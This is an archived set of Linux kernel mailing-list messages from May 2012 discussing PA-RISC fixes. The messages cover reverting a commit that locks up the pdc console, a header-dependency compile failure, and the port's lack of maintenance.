        Sat, 05 May 2012 00:39:41 -0700 (PDT)
Original-Received: from [192.168.2.129] ([178.22.113.142])
        by mx.google.com with ESMTPS id gg2sm5690074wib.7.2012.05.05.00.39.39
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 05 May 2012 00:39:40 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120428 Thunderbird/14.0a2
In-Reply-To: <Pine.LNX.4.64.1205042259000.18896@file.rdu.redhat.com>
X-Enigmail-Version: 1.5pre
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4308 gmane.linux.kernel:1292151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4308>

On 05/05/2012 05:04 AM, Mikulas Patocka wrote:
> Hi
> 
> This patch reverts commit 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25.
> 
> The commit 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25 causes system lockup 
> when pdc is used as a boot console.
> 
> The kernel boots, but it locks up when transferring control to userspace 
> --- the message "INIT: version 2.86 booting" is not printed and the 
> computer halts. With the patch reverted, the system starts normally on 
> pdc.
...
> --- a/arch/parisc/kernel/pdc_cons.c
> +++ b/arch/parisc/kernel/pdc_cons.c
...
> @@ -104,10 +103,8 @@ static int pdc_console_tty_open(struct tty_struct *tty, struct file *filp)
>  
>  static void pdc_console_tty_close(struct tty_struct *tty, struct file *filp)
>  {
> -	if (!tty->count) {
> +	if (!tty->count)

Heh, I cannot find a bug in the patch proper. However this test is and
always was bogus. Does changing "!tty->count" to "tty->count == 1" help?

>  		del_timer_sync(&pdc_console_timer);
> -		tty_port_tty_set(&tty_port, NULL);
> -	}
>  }
>  
>  static int pdc_console_tty_write(struct tty_struct *tty, const unsigned char *buf, int count)

regards,
-- 
js
suse labs


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 5 May 2012 11:58:51 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20120505115851.1fecbe50@pyramind.ukuu.org.uk>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336215383 10338 80.91.229.3 (5 May 2012 10:56:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 10:56:23 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 12:56:22 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQcex-0006jZ-S8
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 12:56:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754690Ab2EEK4T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 06:56:19 -0400
Original-Received: from lxorguk.ukuu.org.uk ([81.2.110.251]:59950 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752993Ab2EEK4S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 06:56:18 -0400
Original-Received: from pyramind.ukuu.org.uk (earthlight.etchedpixels.co.uk [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.5/8.14.1) with ESMTP id q45BQ9Vo017594;
	Sat, 5 May 2012 12:26:14 +0100
Original-Received: from pyramind.ukuu.org.uk (localhost [127.0.0.1])
	by pyramind.ukuu.org.uk (8.14.5/8.14.5) with ESMTP id q45AwpuO008566;
	Sat, 5 May 2012 11:58:51 +0100
In-Reply-To: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.8; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4309 gmane.linux.kernel:1292185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4309>

On Fri, 4 May 2012 22:58:32 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> Hi
> 
> This patch fixes compile failure on PA-RISC.
> 
> BTW. if the PA-RISC port is uncompilable for all 3.4-rc versions (and 
> contains two other bugs that prevent it from booting) ... does it mean 
> that I'm the only one who is using PA-RISC with recent kernel?


Probably - and if so would you please get the NO_IRQ define fixed because
it seems parisc also has no maintainer any more 8)

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 5 May 2012 10:09:53 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <CA+55aFxSJbcigdqwoyKQTOV3MDtgcMyDqXtKz3JuJC_SD9v2vw@mail.gmail.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com> <1798237.g4OIBKAx4s@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1336237886 29343 80.91.229.3 (5 May 2012 17:11:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 17:11:26 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 19:11:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQiVt-00020p-E6
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 19:11:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757214Ab2EERKQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 13:10:16 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:49671 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756400Ab2EERKP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 13:10:15 -0400
Original-Received: by wgbdr13 with SMTP id dr13so3637428wgb.1
        for <multiple recipients>; Sat, 05 May 2012 10:10:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=ZI88UP9N0jlBAZ8/YQ5S1EaYfmbIb0fJuoUebzzgd+Y=;
        b=I35bKEPMxdDLlneLG7Wn++WVbB/kBW3ICW8Fg4XgHy89w2FxYe+LPdSUpijdssU4BO
         PY2HLnhOekJWvWbiPx2tOf6GAaeKZlPeQD6s5Xb7ufJd81fL/xlIuFo5ehm5XrdmYDu4
         0r422paILlqIgRhHAFYoqq7um4dou5ZvdKNzLcsQfUQi6Z2rI/EWTfF1nQDL8xtaq4+1
         Yh0RfdWIuJLWezg1NVA0OdkhuuAUmzhoFVgjVHH5cv4ikIysMaov7k71Q9lWifN3/Tft
         /IagOaWHMSHgWlEDqFUZeMXFkZgEzkY04RwIXox8bOYQXLxrL2sMwOiXPVMWmirYezIY
         qFOg==
Original-Received: by 10.216.144.6 with SMTP id m6mr5795631wej.43.1336237814035; Sat,
 05 May 2012 10:10:14 -0700 (PDT)
Original-Received: by 10.216.188.149 with HTTP; Sat, 5 May 2012 10:09:53 -0700 (PDT)
In-Reply-To: <1798237.g4OIBKAx4s@donald.sf-tec.de>
X-Google-Sender-Auth: gxg49VKLRV2VPk9_EEpSw8lHqsY
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4310 gmane.linux.kernel:1292266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4310>

On Fri, May 4, 2012 at 11:55 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>
> I did only move the definition of PAGE0 from asm/pdc.h to asm/page.h and fixed
> another bunch of breakage that was detected while fixing this.

I have to say that that sounds like a more natural patch. *Every*
other architecture defines cpu_relax() in <asm/processor.h>, so it
sounds like a bad idea to make PA-RISC any more different than
necessary.

Even if only one or two people actually care.

                     Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Revert 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25
Date: Sat, 5 May 2012 14:44:18 -0400 (EDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205051443520.2623@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205042259000.18896@file.rdu.redhat.com> <4FA4D93A.6090103@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336243529 1758 80.91.229.3 (5 May 2012 18:45:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 18:45:29 +0000 (UTC)
Cc: Guy Martin <gmsof@tuxicoman.be>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat May 05 20:45:27 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SQjyw-0008LX-Gx
	for glk-linux-kernel-3@plane.gmane.org; Sat, 05 May 2012 20:45:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751575Ab2EESpA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 5 May 2012 14:45:00 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:11019 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751002Ab2EESo7 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 5 May 2012 14:44:59 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q45IiK26016565
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 5 May 2012 14:44:21 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q45IiJpJ018569
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 5 May 2012 14:44:20 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q45IiJ9s007163;
	Sat, 5 May 2012 14:44:19 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q45IiITG007160;
	Sat, 5 May 2012 14:44:18 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <4FA4D93A.6090103@suse.cz>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1292289 gmane.linux.ports.parisc:4311
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1292289>



On Sat, 5 May 2012, Jiri Slaby wrote:

> On 05/05/2012 05:04 AM, Mikulas Patocka wrote:
> > Hi
> > 
> > This patch reverts commit 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25.
> > 
> > The commit 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25 causes system lockup 
> > when pdc is used as a boot console.
> > 
> > The kernel boots, but it locks up when transferring control to userspace 
> > --- the message "INIT: version 2.86 booting" is not printed and the 
> > computer halts. With the patch reverted, the system starts normally on 
> > pdc.
> ...
> > --- a/arch/parisc/kernel/pdc_cons.c
> > +++ b/arch/parisc/kernel/pdc_cons.c
> ...
> > @@ -104,10 +103,8 @@ static int pdc_console_tty_open(struct tty_struct *tty, struct file *filp)
> >  
> >  static void pdc_console_tty_close(struct tty_struct *tty, struct file *filp)
> >  {
> > -	if (!tty->count) {
> > +	if (!tty->count)
> 
> Heh, I cannot find a bug in the patch proper. However this test is and
> always was bogus. Does changing "!tty->count" to "tty->count == 1" help?

Yes, it fixes it.

Mikulas

> >  		del_timer_sync(&pdc_console_timer);
> > -		tty_port_tty_set(&tty_port, NULL);
> > -	}
> >  }
> >  
> >  static int pdc_console_tty_write(struct tty_struct *tty, const unsigned char *buf, int count)
> 
> regards,
> -- 
> js
> suse labs
> 
> 

From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 5 May 2012 14:53:15 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
 <20120505115851.1fecbe50@pyramind.ukuu.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336244027 5086 80.91.229.3 (5 May 2012 18:53:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 18:53:47 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 20:53:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQk6z-0005gm-22
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 20:53:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753644Ab2EESxa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 14:53:30 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:24191 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751895Ab2EESx3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 14:53:29 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q45IrGfT016177
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 5 May 2012 14:53:16 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q45IrFlX000698
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 5 May 2012 14:53:15 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q45IrFOs008411;
	Sat, 5 May 2012 14:53:15 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q45IrF03008408;
	Sat, 5 May 2012 14:53:15 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <20120505115851.1fecbe50@pyramind.ukuu.org.uk>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4312 gmane.linux.kernel:1292302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4312>



On Sat, 5 May 2012, Alan Cox wrote:

> On Fri, 4 May 2012 22:58:32 -0400 (EDT)
> Mikulas Patocka <mpatocka@redhat.com> wrote:
> 
> > Hi
> > 
> > This patch fixes compile failure on PA-RISC.
> > 
> > BTW. if the PA-RISC port is uncompilable for all 3.4-rc versions (and 
> > contains two other bugs that prevent it from booting) ... does it mean 
> > that I'm the only one who is using PA-RISC with recent kernel?
> 
> 
> Probably - and if so would you please get the NO_IRQ define fixed because
> it seems parisc also has no maintainer any more 8)
> 
> Alan

What NO_IRQ problem do you mean? There is
#define NO_IRQ          (-1)
in arch/parisc/include/asm/irq.h.

And there are other NO_IRQ definitions in other architectures, some 
defining it to ((unsigned int)(-1)), some to 0xffffffff, some to INT_MAX, 
some to (-1) and some to (0).

Some drivers define NO_IRQ too, if not defined by the architecture.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 5 May 2012 14:55:08 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205051445360.2623@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
 <1798237.g4OIBKAx4s@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336244122 5743 80.91.229.3 (5 May 2012 18:55:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 18:55:22 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 20:55:20 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQk8W-0006U1-6Z
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 20:55:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752006Ab2EESzT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 14:55:19 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:15384 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750715Ab2EESzS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 14:55:18 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q45ItA3T020826
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 5 May 2012 14:55:10 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q45It9Ru003842
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 5 May 2012 14:55:09 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q45It91n008650;
	Sat, 5 May 2012 14:55:09 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q45It81v008647;
	Sat, 5 May 2012 14:55:09 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <1798237.g4OIBKAx4s@donald.sf-tec.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4313 gmane.linux.kernel:1292305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4313>

On Sat, 5 May 2012, Rolf Eike Beer wrote:

> Mikulas Patocka wrote:
> > Hi
> > 
> > This patch fixes compile failure on PA-RISC.
> > 
> > BTW. if the PA-RISC port is uncompilable for all 3.4-rc versions (and
> > contains two other bugs that prevent it from booting) ... does it mean
> > that I'm the only one who is using PA-RISC with recent kernel?
> > 
> > Mikulas
> > 
> > ---
> > 
> > Fix compile failure on PA-RISC
> > 
> > This patch fixes compile error on PA-RISC.
> > 
> > The problem is this:
> > linux/bitops.h includes asm/bitops.h. Through a chain of dependencies
> > asm/bitops.h includes asm/page.h and asm/page.h needs function fls and
> > others defined in asm/bitops.h and linux/bitops.h --- and these
> > functions are not yet defined because the files linux/bitops.h and
> > asm/bitops.h hasn't been fully processed.
> 
> I've posted a set of patches on 2012-04-21 both on linux-kernel and linux-
> parisc, but apart from one ACK I got no reaction.
> 
> I did only move the definition of PAGE0 from asm/pdc.h to asm/page.h and fixed 
> another bunch of breakage that was detected while fixing this.
> 
> Eike

I acknowledge that your patches work. So send them directly to Linus. I 
think there is not much maintenance being done on PA-RISC.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 5 May 2012 11:55:03 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
 <20120505115851.1fecbe50@pyramind.ukuu.org.uk> <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336244144 5872 80.91.229.3 (5 May 2012 18:55:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 18:55:44 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat May 05 20:55:42 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SQk8o-00071K-Vw
	for glk-linux-kernel-3@plane.gmane.org; Sat, 05 May 2012 20:55:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754234Ab2EESz1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 5 May 2012 14:55:27 -0400
Original-Received: from mail-wi0-f178.google.com ([209.85.212.178]:46889 "EHLO
	mail-wi0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753651Ab2EESzZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 5 May 2012 14:55:25 -0400
Original-Received: by wibhr7 with SMTP id hr7so2332734wib.1
